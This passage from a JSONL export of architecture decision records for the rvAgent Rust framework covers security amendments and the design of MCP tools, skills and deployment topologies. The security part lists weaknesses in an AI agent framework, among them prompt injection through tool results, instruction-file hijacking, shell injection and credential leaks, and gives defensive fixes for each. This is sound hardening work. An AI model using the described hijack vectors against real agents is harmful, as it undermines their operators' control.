timeout: Option<u32>) -> ExecuteResponse;\n fn id(&self) -> &str;\n /// Implementations MUST confine filesystem access to the sandbox root.\n fn sandbox_root(&self) -> &Path;\n}\n```\n\n#### C6. ACP Server Authentication [HIGH \u2014 SEC-017]\n\n**Amends:** ADR-099 \u00a7ACP Server\n\nMandatory axum middleware layers:\n- **API key authentication** via `Authorization: Bearer` header\n- **Rate limiting** (configurable, default 60 req/min)\n- **Request body size limit** (default 1MB)\n- **TLS enforcement** for non-localhost connections\n\n#### C7. Unicode Security Module [HIGH \u2014 SEC-016]\n\n**Amends:** ADR-099 \u00a7unicode_security.rs\n\nThe Rust port MUST implement full parity with Python's `unicode_security.py`:\n- BiDi directional formatting controls (U+202A-U+202E, U+2066-U+2069)\n- Zero-width characters (U+200B-U+200F, U+2060, U+FEFF)\n- Script confusable detection (Cyrillic, Greek, Armenian homoglyphs)\n- Punycode domain decoding and mixed-script URL detection\n\n#### C8. SubAgent Result Validation [HIGH \u2014 SEC-011]\n\n**Amends:** ADR-097 \u00a7SubAgent result handling\n\nAdd `SubAgentResultValidator`:\n- Maximum response length (configurable, default 100KB)\n- Strip control characters and known prompt injection patterns\n- Rate-limit subagent tool calls to detect runaway behavior\n\n#### C9. Session Encryption at Rest [MEDIUM \u2014 SEC-014, SEC-015]\n\n**Amends:** ADR-099 \u00a7Sessions\n\n- Session checkpoints encrypted via AES-256-GCM\n- Conversation history offload uses unpredictable filenames (UUID) with 0600 permissions\n- PII stripping before persistence (using patterns from `mcp-brain`)\n\n#### C10. Skill Name ASCII Restriction [MEDIUM \u2014 SEC-022]\n\n**Amends:** ADR-098 \u00a7validate_skill_name\n\nReplace `c.is_alphabetic()` with `c.is_ascii_lowercase()` to prevent Unicode confusable attacks:\n\n```rust\nif (c.is_ascii_lowercase()) || c.is_ascii_digit() { continue; }\n```\n\n#### C11. CompositeBackend Path Re-Validation [MEDIUM \u2014 SEC-003]\n\n**Amends:** ADR-094 \u00a7CompositeBackend\n\nAfter prefix stripping, re-validate the resulting path against traversal:\n\n```rust\nfn route_path(&self, path: &str) -> Result<(BackendRef, String), FileOperationError> {\n let (backend, stripped, _prefix) = self.select_backend(path);\n if stripped.contains(\"..\") || stripped.starts_with('~') {\n return Err(FileOperationError::InvalidPath);\n }\n Ok((backend, stripped))\n}\n```\n\n#### C12. Tool Call ID Validation [MEDIUM \u2014 SEC-012]\n\n**Amends:** ADR-098 \u00a7PatchToolCallsMiddleware\n\nValidate tool call IDs: max 128 chars, ASCII alphanumeric + hyphens + underscores only.\n\n#### C13. Grep Literal Mode Enforcement [MEDIUM \u2014 SEC-021]\n\n**Amends:** ADR-094, ADR-096\n\nThe Python implementation uses `rg -F` (fixed-string/literal mode). The Rust port MUST default to literal mode. If regex mode is needed, use `regex` crate's built-in backtracking limits.\n\n---\n\n### Part D: Amended Phase Timeline\n\nThe original 20-week timeline (ADR-102) is amended to include security and integration work:\n\n| Phase | Original | Amendment |\n|---|---|---|\n| 1 (Foundation) | Weeks 1-3 | Add: Typed AgentState, Arc patterns, arena integration |\n| 2 (Backends) | Weeks 3-5 | Add: Atomic path resolution (C1), env sanitization (C2), literal grep (C13) |\n| 3 (Tools) | Weeks 5-7 | Add: Enum dispatch (A6), grep-searcher lib (A4), line format optimization (A7) |\n| 4 (Middleware) | Weeks 7-10 | Add: SystemPromptBuilder (A5), WitnessMiddleware (B3), ToolResultSanitizer (C3), trust verification (C4) |\n| 5 (Providers) | Weeks 8-10 | Unchanged |\n| 6 (Core) | Weeks 10-12 | Add: Parallel tool execution (A2), resource budgets (B4), subagent result validation (C8) |\n| 7 (CLI) | Weeks 12-16 | Add: Unicode security (C7), session encryption (C9) |\n| 8 (ACP) | Weeks 14-16 | Add: Authentication middleware (C6), TLS enforcement |\n| 9 (WASM/RVF) | Weeks 16-18 | Add: Concrete AGI container building (B1), COW state (B2) |\n| 10 (Verification) | Weeks 18-20 | Add: Criterion benchmarks (A9), security regression tests |\n| **11 (Adaptive)** | **Weeks 20-22 (NEW)** | **SONA integration (B5), HNSW skills (B6), CRDT merge (B7)** |\n\nTotal: **22 weeks** (was 20).\n\n---\n\n## Consequences\n\n### Performance\n- Typed AgentState eliminates JSON tax (5-20x middleware speedup)\n- Parallel tool execution (2-5x multi-tool speedup)\n- Arena allocators and optimized hot paths reduce allocation pressure\n- Criterion benchmarks prevent performance regressions\n\n### Capability\n- 7 concrete RVF integrations (AGI containers, COW state, witness chains, resource budgets, SONA, HNSW, CRDTs)\n- Agent decisions become auditable via witness chains\n- Adaptive learning via SONA enables agents that improve over sessions\n- Semantic skill retrieval reduces prompt bloat\n\n### Security\n- 5 Critical, 7 High, 6 Medium findings addressed\n- Defense-in-depth: atomic path resolution, env sanitization, tool result sanitization, trust verification\n- ACP server hardened with auth, rate limiting, TLS\n- Full Unicode security parity with Python source\n- Session data encrypted at rest\n\n### Timeline\n- 2 additional weeks for Phase 11 (adaptive capabilities)\n- Security hardening integrated into existing phases (no additional delay)\n- Performance optimizations integrated into existing phases\n\n---\n\n## Appendix: Full Finding Cross-Reference\n\n### Security Findings \u2192 Amendments\n\n| Finding | Severity | Amendment | Phase |\n|---|---|---|---|\n| SEC-001 TOCTOU symlink race | Critical | C1 | 2 |\n| SEC-005 Shell injection | Critical | C2 | 2 |\n| SEC-009 Tool result prompt injection | Critical | C3 | 4 |\n| SEC-010 AGENTS.md hijack | Critical | C4 | 4 |\n| SEC-023 Sandbox path escape | Critical | C5 | 2 |\n| SEC-002 virtual_mode default | High | C1 | 2 |\n| SEC-004 Grep symlink following | High | C1 | 2 |\n| SEC-006 Template injection | High | C2 | 2 |\n| SEC-008 Env credential leak | High | C2 | 2 |\n| SEC-011 SubAgent manipulation | High | C8 | 6 |\n| SEC-015 History data exposure | High | C9 | 7 |\n| SEC-016 Missing unicode security | High | C7 | 7 |\n| SEC-017 ACP no authentication | High | C6 | 8 |\n| SEC-020 YAML bomb | High | C4 | 4 |\n| SEC-003 CompositeBackend traversal | Medium | C11 | 2 |\n| SEC-007 Heredoc delimiter escape | Medium | C2 | 2 |\n| SEC-012 Tool call ID injection | Medium | C12 | 4 |\n| SEC-013 State type confusion | Medium | A1 | 1 |\n| SEC-014 Unencrypted sessions | Medium | C9 | 7 |\n| SEC-018 Missing TLS pinning | Medium | C6 | 8 |\n| SEC-019 Sandbox credentials | Medium | C2 | 2 |\n| SEC-021 ReDoS in grep | Medium | C13 | 2 |\n| SEC-022 Unicode skill names | Medium | C10 | 4 |\n\n### Performance Findings \u2192 Amendments\n\n| Finding | Priority | Amendment | Phase |\n|---|---|---|---|\n| JSON AgentState tax | P0 | A1 | 1 |\n| No parallel tool exec | P0 | A2 | 6 |\n| Blocking I/O in async | P0 | A3 | 2 |\n| No benchmarks | P0 | A9 | 10 |\n| Arena allocators unused | P0 | A8 | 3 |\n| Middleware pipeline overhead | P0 | A5 | 4 |\n| String concatenation | P1 | A5 | 4 |\n| Line formatting allocs | P1 | A7 | 3 |\n| Trait object dispatch | P1 | A6 | 3 |\n| Subprocess ripgrep | P1 | A4 | 2 |\n| HNSW for skills | P1 | B6 | 11 |\n\n### RVF Capability Findings \u2192 Amendments\n\n| Gap | Severity | Amendment | Phase |\n|---|---|---|---|\n| No decision provenance | Critical | B3 | 4 |\n| No resource governance | High | B4 | 6 |\n| No adaptive learning | High | B5 | 11 |\n| Linear skill scanning | Medium | B6 | 11 |\n| Naive state cloning | Medium | B2 | 9 |\n| No distributed agents | Medium | B7 | 11 |\n| Aspirational RVF refs | Low | B1 | 9 |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-103-deepagents-review-amendments.md", "created_at": "2026-03-28T11:58:49.943195+00:00", "content_hash": "90fb4219d884cbffee4a6e78a2fc741df4e1023dc013b43c6d7cba24113f0d53"} +{"id": "59bbe140-9dcd-4619-b6e0-7701e68328b1", "source": "adr", "text": "# ADR-104: rvAgent MCP Tools/Resources, Enhanced Skills, and Topology-Aware Deployment\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-15 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n| **Depends** | ADR-095, ADR-096, ADR-098, ADR-100 |\n| **Crates** | `rvagent-mcp` (new), `rvagent-core`, `rvagent-tools`, `rvagent-skills` |\n\n## Context\n\nThe rvAgent framework currently comprises 8 crates covering backend protocols, middleware pipelines, tool systems, sub-agent orchestration, memory, skills, CLI/ACP server, and RVF integration. Three gaps remain before the framework can operate as a fully autonomous, topology-aware multi-agent system:\n\n1. **No native MCP (Model Context Protocol) support.** The existing tool system (ADR-096) handles filesystem/execute/grep/glob tools, but cannot expose or consume tools via the MCP standard. Agents cannot discover remote tools, serve their capabilities to external MCP clients, or negotiate capabilities with MCP-compliant hosts. The SSE transport work in ADR-066 covers the brain server but not the agent framework itself.\n\n2. **Skills system is single-format.** The current skills middleware (ADR-098) loads skills from the filesystem but uses a proprietary format. It cannot interoperate with OpenAI Codex task definitions or Anthropic Claude Code skill manifests. Skill composition (one skill invoking another) and versioned dependency resolution are unsupported.\n\n3. **No topology awareness.** Sub-agent orchestration (ADR-097) assumes a single-machine, single-process model. There is no support for hierarchical (queen/worker), mesh (peer-to-peer), or adaptive (dynamic switching) deployment topologies. Message routing, node discovery, consensus, and fault tolerance are absent.\n\n4. **Testing gaps for distributed scenarios.** ADR-101 defines unit and integration test strategies but does not cover topology-specific failure modes, chaos testing, or cross-topology property-based invariants.\n\n---\n\n## Decision\n\n### 1. MCP Integration: New `rvagent-mcp` Crate\n\n#### 1.1 Crate Structure\n\n```\ncrates/rvagent-mcp/\n src/\n lib.rs # Public API surface\n registry.rs # Tool registry and discovery\n resources.rs # Resource system (templates, static, dynamic)\n transport/\n mod.rs # Transport trait\n stdio.rs # Stdio JSON-RPC transport\n sse.rs # Server-Sent Events transport\n websocket.rs # WebSocket transport\n protocol.rs # JSON-RPC 2.0 message types\n capabilities.rs # Server/client capability negotiation\n adapter.rs # AnyTool adapter bridging rvagent-tools\n schema.rs # Tool schema validation (JSON Schema)\n uri.rs # Resource URI parsing (mcp://resources/*)\n tests/\n registry_tests.rs\n transport_tests.rs\n resource_tests.rs\n adapter_tests.rs\n```\n\n#### 1.2 JSON-RPC 2.0 Protocol Layer\n\n```rust\n// crates/rvagent-mcp/src/protocol.rs\n\nuse serde::{Deserialize, Serialize};\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct JsonRpcRequest {\n pub jsonrpc: String, // Always \"2.0\"\n pub id: RequestId,\n pub method: String,\n pub params: Option<serde_json::Value>,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct JsonRpcResponse {\n pub jsonrpc: String,\n pub id: RequestId,\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub result: Option<serde_json::Value>,\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub error: Option<JsonRpcError>,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct JsonRpcError {\n pub code: i64,\n pub message: String,\n pub data: Option<serde_json::Value>,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\n#[serde(untagged)]\npub enum RequestId {\n Number(i64),\n String(String),\n}\n```\n\n#### 1.3 Tool Registry\n\n```rust\n// crates/rvagent-mcp/src/registry.rs\n\nuse std::collections::HashMap;\nuse std::sync::Arc;\nuse tokio::sync::RwLock;\n\n/// Central registry for MCP tools. Supports dynamic registration,\n/// discovery, and schema validation.\npub struct ToolRegistry {\n tools: Arc<RwLock<HashMap<String, RegisteredTool>>>,\n validators: Arc<SchemaValidator>,\n}\n\npub struct RegisteredTool {\n pub name: String,\n pub description: String,\n pub input_schema: serde_json::Value,\n pub handler: Arc<dyn McpToolHandler>,\n pub annotations: ToolAnnotations,\n}\n\n/// Annotations per MCP spec: hints about tool behavior.\npub struct ToolAnnotations {\n /// Whether the tool has side effects (non-idempotent)\n pub destructive: bool,\n /// Whether the tool reads external state\n pub reads_external: bool,\n /// Whether the tool writes external state\n pub writes_external: bool,\n /// Estimated latency category\n pub latency_hint: LatencyHint,\n}\n\n#[derive(Debug, Clone, Copy)]\npub enum LatencyHint {\n Fast, // <100ms\n Medium, // 100ms-1s\n Slow, // >1s\n}\n\n#[async_trait::async_trait]\npub trait McpToolHandler: Send + Sync {\n async fn call(\n &self,\n arguments: serde_json::Value,\n ) -> Result<ToolCallResult, McpError>;\n}\n\nimpl ToolRegistry {\n pub fn new() -> Self { /* ... */ }\n\n pub async fn register(&self, tool: RegisteredTool) -> Result<(), McpError> { /* ... */ }\n\n pub async fn unregister(&self, name: &str) -> Result<(), McpError> { /* ... */ }\n\n pub async fn list_tools(&self) -> Vec<ToolDescription> { /* ... */ }\n\n pub async fn call_tool(\n &self,\n name: &str,\n arguments: serde_json::Value,\n ) -> Result<ToolCallResult, McpError> { /* ... */ }\n\n pub async fn get_schema(&self, name: &str) -> Option<serde_json::Value> { /* ... */ }\n}\n```\n\n#### 1.4 Resource System\n\n```rust\n// crates/rvagent-mcp/src/resources.rs\n\nuse std::collections::HashMap;\n\n/// A resource exposed via MCP.\npub struct McpResource {\n pub uri: String, // e.g., \"mcp://resources/config/agent.yaml\"\n pub name: String,\n pub description: Option<String>,\n pub mime_type: Option<String>,\n}\n\n/// A resource template with URI patterns.\npub struct ResourceTemplate {\n pub uri_template: String, // e.g., \"mcp://resources/agents/{agent_id}/state\"\n pub name: String,\n pub description: Option<String>,\n pub mime_type: Option<String>,\n}\n\n/// Dynamic resource provider trait.\n#[async_trait::async_trait]\npub trait ResourceProvider: Send + Sync {\n /// List available resources under this provider.\n async fn list(&self) -> Result<Vec<McpResource>, McpError>;\n\n /// Read a specific resource by URI.\n async fn read(&self, uri: &str) -> Result<ResourceContent, McpError>;\n\n /// Subscribe to resource changes (optional).\n async fn subscribe(&self, uri: &str) -> Option<tokio::sync::broadcast::Receiver<ResourceChanged>>;\n}\n\npub enum ResourceContent {\n Text { uri: String, mime_type: Option<String>, text: String },\n Blob { uri: String, mime_type: Option<String>, blob: Vec<u8> },\n}\n\npub struct ResourceChanged {\n pub uri: String,\n}\n\n/// Central resource manager.\npub struct ResourceManager {\n static_resources: HashMap<String, McpResource>,\n templates: Vec<ResourceTemplate>,\n providers: Vec<Box<dyn ResourceProvider>>,\n}\n```\n\n#### 1.5 Transport Abstraction\n\n```rust\n// crates/rvagent-mcp/src/transport/mod.rs\n\n#[async_trait::async_trait]\npub trait McpTransport: Send + Sync {\n /// Start the transport, returning a handle for sending responses.\n async fn start(&mut self) -> Result<(), McpError>;\n\n /// Receive the next incoming request or notification.\n async fn recv(&mut self) -> Result<JsonRpcMessage, McpError>;\n\n /// Send a response or notification.\n async fn send(&self, message: JsonRpcMessage) -> Result<(), McpError>;\n\n /// Gracefully shut down the transport.\n async fn shutdown(&self) -> Result<(), McpError>;\n}\n\n/// Stdio transport: reads JSON-RPC from stdin, writes to stdout.\npub struct StdioTransport { /* ... */ }\n\n/// SSE transport: HTTP server with Server-Sent Events for server-to-client,\n/// HTTP POST for client-to-server.\npub struct SseTransport {\n pub bind_addr: std::net::SocketAddr,\n /* ... */\n}\n\n/// WebSocket transport: full-duplex JSON-RPC over WebSocket.\npub struct WebSocketTransport {\n pub bind_addr: std::net::SocketAddr,\n /* ... */\n}\n```\n\n#### 1.6 Server Capabilities Negotiation\n\n```rust\n// crates/rvagent-mcp/src/capabilities.rs\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct ServerCapabilities {\n pub tools: Option<ToolsCapability>,\n pub resources: Option<ResourcesCapability>,\n pub prompts: Option<PromptsCapability>,\n pub logging: Option<LoggingCapability>,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct ToolsCapability {\n /// Server supports tool list change notifications.\n pub list_changed: bool,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct ResourcesCapability {\n /// Server supports resource subscriptions.\n pub subscribe: bool,\n /// Server supports resource list change notifications.\n pub list_changed: bool,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct PromptsCapability {\n pub list_changed: bool,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct LoggingCapability {}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct InitializeResult {\n pub protocol_version: String, // \"2025-03-26\"\n pub capabilities: ServerCapabilities,\n pub server_info: ServerInfo,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct ServerInfo {\n pub name: String,\n pub version: String,\n}\n```\n\n#### 1.7 AnyTool Adapter\n\nBridges existing `rvagent-tools::Tool` implementations (ADR-096) into the MCP tool registry without rewriting them:\n\n```rust\n// crates/rvagent-mcp/src/adapter.rs\n\nuse rvagent_tools::Tool as AgentTool;\n\n/// Wraps any rvagent-tools::Tool as an McpToolHandler.\npub struct AnyToolAdapter {\n inner: Arc<dyn AgentTool>,\n runtime: Arc<ToolRuntime>,\n}\n\n#[async_trait::async_trait]\nimpl McpToolHandler for AnyToolAdapter {\n async fn call(\n &self,\n arguments: serde_json::Value,\n ) -> Result<ToolCallResult, McpError> {\n let result = self.inner.ainvoke(arguments, &self.runtime).await;\n match result {\n ToolResult::Text(s) => Ok(ToolCallResult::text(s)),\n ToolResult::Command(cmd) => Ok(ToolCallResult::text(\n format!(\"State update applied: {:?}\", cmd)\n )),\n }\n }\n}\n\nimpl AnyToolAdapter {\n /// Register all tools from an rvagent-tools ToolSet into the MCP registry.\n pub async fn register_all(\n toolset: &dyn ToolSet,\n registry: &ToolRegistry,\n runtime: Arc<ToolRuntime>,\n ) -> Result<(), McpError> {\n for tool in toolset.tools() {\n let adapter = Arc::new(AnyToolAdapter {\n inner: tool.clone(),\n runtime: runtime.clone(),\n });\n registry.register(RegisteredTool {\n name: tool.name().to_string(),\n description: tool.description().to_string(),\n input_schema: tool.parameters_schema(),\n handler: adapter,\n annotations: ToolAnnotations::default(),\n }).await?;\n }\n Ok(())\n }\n}\n```\n\n---\n\n### 2. Enhanced Skills System\n\n#### 2.1 Unified Skill Format\n\nSkills use a YAML frontmatter block followed by a markdown body. The format is designed to be compatible with both OpenAI Codex task definitions and Anthropic Claude Code skill manifests:\n\n```yaml\n---\n# Required fields\nname: \"deploy-service\"\nversion: \"1.2.0\"\ndescription: \"Deploy a service to the target environment\"\n\n# Triggers: when this skill should be invoked\ntriggers:\n - pattern: \"deploy {service} to {env}\"\n type: regex\n - pattern: \"/deploy\"\n type: slash-command\n - event: \"ci.pipeline.success\"\n type: event\n\n# Model routing hints (maps to ADR-026 3-tier routing)\nmodel_routing:\n complexity_hint: \"medium\" # low | medium | high\n preferred_tier: 2 # 1=WASM, 2=Haiku, 3=Sonnet/Opus\n max_tier: 3 # Escalation ceiling\n requires_reasoning: false\n\n# Compatibility\ncodex_compatible: true # Can be used as an OpenAI Codex task\nclaude_code_compatible: true # Can be used as a Claude Code skill\n\n# Composition: skills this skill may invoke\ndependencies:\n - name: \"check-health\"\n version: \">=1.0.0\"\n - name: \"run-tests\"\n version: \"^2.0.0\"\n optional: true\n\n# Runtime metadata\ntimeout_seconds: 300\nretry_policy:\n max_retries: 2\n backoff_ms: 1000\n---\n\n## Instructions\n\nDeploy the service `{{service}}` to the `{{env}}` environment.\n\n### Steps\n\n1. Run health check: `!invoke check-health --target {{service}}`\n2. If tests skill is available: `!invoke run-tests --suite integration`\n3. Execute deployment command\n4. Verify post-deployment health\n\n### Constraints\n\n- Never deploy to production without passing health checks\n- Always create a rollback plan before deploying\n```\n\n#### 2.2 Skill Loader\n\n```rust\n// In rvagent-skills crate\n\npub struct SkillLoader {\n /// Filesystem paths to search for skills.\n search_paths: Vec<PathBuf>,\n /// MCP resource providers for remote skills.\n mcp_providers: Vec<Arc<dyn ResourceProvider>>,\n /// Cached, parsed skills indexed by name.\n cache: Arc<RwLock<HashMap<String, ParsedSkill>>>,\n}\n\npub struct ParsedSkill {\n pub metadata: SkillMetadata,\n pub body: String,\n pub source: SkillSource,\n}\n\npub enum SkillSource {\n Filesystem(PathBuf),\n McpResource(String), // URI\n Inline,\n}\n\npub struct SkillMetadata {\n pub name: String,\n pub version: semver::Version,\n pub description: String,\n pub triggers: Vec<Trigger>,\n pub model_routing: ModelRoutingHint,\n pub codex_compatible: bool,\n pub claude_code_compatible: bool,\n pub dependencies: Vec<SkillDependency>,\n pub timeout_seconds: u64,\n pub retry_policy: Option<RetryPolicy>,\n}\n\nimpl SkillLoader {\n /// Load all skills from configured paths and MCP providers.\n pub async fn load_all(&self) -> Result<Vec<ParsedSkill>, SkillError> { /* ... */ }\n\n /// Resolve a skill by name, respecting version constraints.\n pub async fn resolve(\n &self,\n name: &str,\n version_req: Option<&semver::VersionReq>,\n ) -> Result<ParsedSkill, SkillError> { /* ... */ }\n\n /// Resolve a full dependency graph for a skill, detecting cycles.\n pub async fn resolve_dependencies(\n &self,\n skill: &ParsedSkill,\n ) -> Result<Vec<ParsedSkill>, SkillError> { /* ... */ }\n}\n```\n\n#### 2.3 Skill Composition Runtime\n\n```rust\n/// Executes a skill, recursively invoking dependent skills as needed.\npub struct SkillExecutor {\n loader: Arc<SkillLoader>,\n tool_registry: Arc<ToolRegistry>,\n max_depth: usize, // Prevent infinite recursion, default 10\n}\n\nimpl SkillExecutor {\n pub async fn execute(\n &self,\n skill_name: &str,\n params: HashMap<String, String>,\n context: &ExecutionContext,\n ) -> Result<SkillResult, SkillError> {\n self.execute_inner(skill_name, params, context, 0).await\n }\n\n async fn execute_inner(\n &self,\n skill_name: &str,\n params: HashMap<String, String>,\n context: &ExecutionContext,\n depth: usize,\n ) -> Result<SkillResult, SkillError> {\n if depth >= self.max_depth {\n return Err(SkillError::MaxDepthExceeded(self.max_depth));\n }\n\n let skill = self.loader.resolve(skill_name, None).await?;\n let deps = self.loader.resolve_dependencies(&skill).await?;\n\n // Execute required dependencies first\n for dep in &deps {\n if !dep.metadata.dependencies.iter().any(|d| d.optional) {\n self.execute_inner(\n &dep.metadata.name,\n params.clone(),\n context,\n depth + 1,\n ).await?;\n }\n }\n\n // Execute the skill body via the appropriate model tier\n let tier = self.route_to_tier(&skill.metadata.model_routing);\n tier.execute(&skill.body, ¶ms, context).await\n }\n}\n```\n\n---\n\n### 3. Topology-Aware Deployment\n\n#### 3.1 Topology Trait\n\n```rust\n// crates/rvagent-core/src/topology/mod.rs\n\npub mod hierarchical;\npub mod mesh;\npub mod adaptive;\n\nuse std::collections::HashMap;\n\n/// Unique identifier for a node in the topology.\npub type NodeId = String;\n\n/// A message routed between nodes.\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct TopologyMessage {\n pub id: uuid::Uuid,\n pub from: NodeId,\n pub to: MessageTarget,\n pub payload: serde_json::Value,\n pub timestamp: chrono::DateTime<chrono::Utc>,\n pub ttl: u8,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub enum MessageTarget {\n /// Direct message to a specific node.\n Node(NodeId),\n /// Broadcast to all nodes.\n Broadcast,\n /// Send to the current leader/queen.\n Leader,\n /// Send to any node matching a role.\n Role(String),\n}\n\n/// Health status for a node.\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct NodeHealth {\n pub node_id: NodeId,\n pub status: HealthStatus,\n pub last_heartbeat: chrono::DateTime<chrono::Utc>,\n pub load: f64, // 0.0 - 1.0\n pub capabilities: Vec<String>,\n}\n\n#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]\npub enum HealthStatus {\n Healthy,\n Degraded,\n Unreachable,\n}\n\n/// Core topology trait. All topologies implement this interface.\n#[async_trait::async_trait]\npub trait Topology: Send + Sync {\n /// Human-readable name of this topology.\n fn name(&self) -> &str;\n\n /// Join the topology as a node.\n async fn join(&self, node_id: NodeId, metadata: NodeMetadata) -> Result<(), TopologyError>;\n\n /// Leave the topology gracefully.\n async fn leave(&self, node_id: &str) -> Result<(), TopologyError>;\n\n /// Discover all known nodes.\n async fn discover(&self) -> Result<Vec<NodeHealth>, TopologyError>;\n\n /// Route a message according to topology rules.\n async fn route(&self, message: TopologyMessage) -> Result<(), TopologyError>;\n\n /// Receive the next message for a given node.\n async fn recv(&self, node_id: &str) -> Result<TopologyMessage, TopologyError>;\n\n /// Get health of a specific node.\n async fn health(&self, node_id: &str) -> Result<NodeHealth, TopologyError>;\n\n /// Get the current leader, if the topology has one.\n async fn leader(&self) -> Option<NodeId>;\n}\n\npub struct NodeMetadata {\n pub role: String,\n pub capabilities: Vec<String>,\n pub max_concurrent_tasks: usize,\n}\n```\n\n#### 3.2 Hierarchical Topology (Queen/Worker)\n\n```rust\n// crates/rvagent-core/src/topology/hierarchical.rs\n\n/// Hierarchical topology with a single queen (leader) and N workers.\n/// Uses Raft consensus for leader election and log replication.\npub struct HierarchicalTopology {\n queen: Arc<RwLock<Option<NodeId>>>,\n workers: Arc<RwLock<HashMap<NodeId, NodeHealth>>>,\n raft_state: Arc<RwLock<RaftState>>,\n message_queue: Arc<RwLock<HashMap<NodeId, VecDeque<TopologyMessage>>>>,\n heartbeat_interval: Duration,\n election_timeout: Duration,\n}\n\nstruct RaftState {\n current_term: u64,\n voted_for: Option<NodeId>,\n log: Vec<LogEntry>,\n commit_index: u64,\n role: RaftRole,\n}\n\n#[derive(Debug, Clone, Copy, PartialEq, Eq)]\nenum RaftRole {\n Follower,\n Candidate,\n Leader,\n}\n\nimpl HierarchicalTopology {\n pub fn new(config: HierarchicalConfig) -> Self { /* ... */ }\n\n /// Queen assigns a task to the least-loaded worker.\n pub async fn assign_task(\n &self,\n task: TopologyMessage,\n ) -> Result<NodeId, TopologyError> {\n let workers = self.workers.read().await;\n let target = workers.values()\n .filter(|w| w.status == HealthStatus::Healthy)\n .min_by(|a, b| a.load.partial_cmp(&b.load).unwrap())\n .ok_or(TopologyError::NoHealthyWorkers)?;\n self.route(TopologyMessage {\n to: MessageTarget::Node(target.node_id.clone()),\n ..task\n }).await?;\n Ok(target.node_id.clone())\n }\n\n /// Start the Raft election timer. Called on each worker.\n async fn start_election_timer(&self, node_id: &str) { /* ... */ }\n\n /// Process heartbeats from queen. Resets election timer.\n async fn handle_heartbeat(&self, from: &str, term: u64) { /* ... */ }\n}\n```\n\n#### 3.3 Mesh Topology (Peer-to-Peer)\n\n```rust\n// crates/rvagent-core/src/topology/mesh.rs\n\n/// Mesh topology where all nodes are equal peers.\n/// Uses gossip protocol for state dissemination and node discovery.\npub struct MeshTopology {\n nodes: Arc<RwLock<HashMap<NodeId, NodeHealth>>>,\n gossip_state: Arc<RwLock<GossipState>>,\n message_queue: Arc<RwLock<HashMap<NodeId, VecDeque<TopologyMessage>>>>,\n gossip_interval: Duration,\n fanout: usize, // Number of peers to gossip to per round\n}\n\nstruct GossipState {\n /// Crdt-based membership set (add-wins).\n membership: HashMap<NodeId, (NodeMetadata, lamport::Clock)>,\n /// Vector clock for causal ordering.\n vector_clock: HashMap<NodeId, u64>,\n}\n\nimpl MeshTopology {\n pub fn new(config: MeshConfig) -> Self { /* ... */ }\n\n /// Gossip local state to `fanout` random peers.\n async fn gossip_round(&self) { /* ... */ }\n\n /// Merge received gossip state with local state.\n async fn merge_gossip(&self, remote: &GossipState) { /* ... */ }\n\n /// Route message using consistent hashing when target is Role-based.\n async fn route_by_role(\n &self,\n role: &str,\n message: TopologyMessage,\n ) -> Result<(), TopologyError> { /* ... */ }\n}\n```\n\n#### 3.4 Adaptive Topology (Dynamic Switching)\n\n```rust\n// crates/rvagent-core/src/topology/adaptive.rs\n\n/// Adaptive topology that switches between hierarchical and mesh\n/// based on cluster size, failure rate, and load characteristics.\npub struct AdaptiveTopology {\n current: Arc<RwLock<ActiveTopology>>,\n hierarchical: HierarchicalTopology,\n mesh: MeshTopology,\n switch_policy: SwitchPolicy,\n metrics: Arc<RwLock<TopologyMetrics>>,\n}\n\nenum ActiveTopology {\n Hierarchical,\n Mesh,\n}\n\npub struct SwitchPolicy {\n /// Switch to mesh when node count exceeds this threshold.\n pub mesh_threshold_nodes: usize,\n /// Switch to hierarchical when failure rate exceeds this (0.0-1.0).\n pub hierarchical_threshold_failure_rate: f64,\n /// Minimum time between topology switches.\n pub cooldown: Duration,\n /// Switch to mesh when leader latency exceeds this.\n pub leader_latency_threshold: Duration,\n}\n\nstruct TopologyMetrics {\n node_count: usize,\n failure_rate_1m: f64,\n avg_leader_latency: Duration,\n last_switch: Option<chrono::DateTime<chrono::Utc>>,\n}\n\nimpl AdaptiveTopology {\n pub fn new(\n hierarchical_config: HierarchicalConfig,\n mesh_config: MeshConfig,\n switch_policy: SwitchPolicy,\n ) -> Self { /* ... */ }\n\n /// Evaluate whether a topology switch is warranted.\n async fn evaluate_switch(&self) -> Option<ActiveTopology> {\n let metrics = self.metrics.read().await;\n\n // Enforce cooldown\n if let Some(last) = metrics.last_switch {\n if chrono::Utc::now() - last < self.switch_policy.cooldown {\n return None;\n }\n }\n\n let current = self.current.read().await;\n match *current {\n ActiveTopology::Hierarchical => {\n if metrics.node_count > self.switch_policy.mesh_threshold_nodes {\n return Some(ActiveTopology::Mesh);\n }\n if metrics.avg_leader_latency > self.switch_policy.leader_latency_threshold {\n return Some(ActiveTopology::Mesh);\n }\n }\n ActiveTopology::Mesh => {\n if metrics.failure_rate_1m > self.switch_policy.hierarchical_threshold_failure_rate {\n return Some(ActiveTopology::Hierarchical);\n }\n if metrics.node_count <= self.switch_policy.mesh_threshold_nodes / 2 {\n return Some(ActiveTopology::Hierarchical);\n }\n }\n }\n None\n }\n\n /// Perform a topology switch with state migration.\n async fn switch_to(&self, target: ActiveTopology) -> Result<(), TopologyError> { /* ... */ }\n}\n\n#[async_trait::async_trait]\nimpl Topology for AdaptiveTopology {\n fn name(&self) 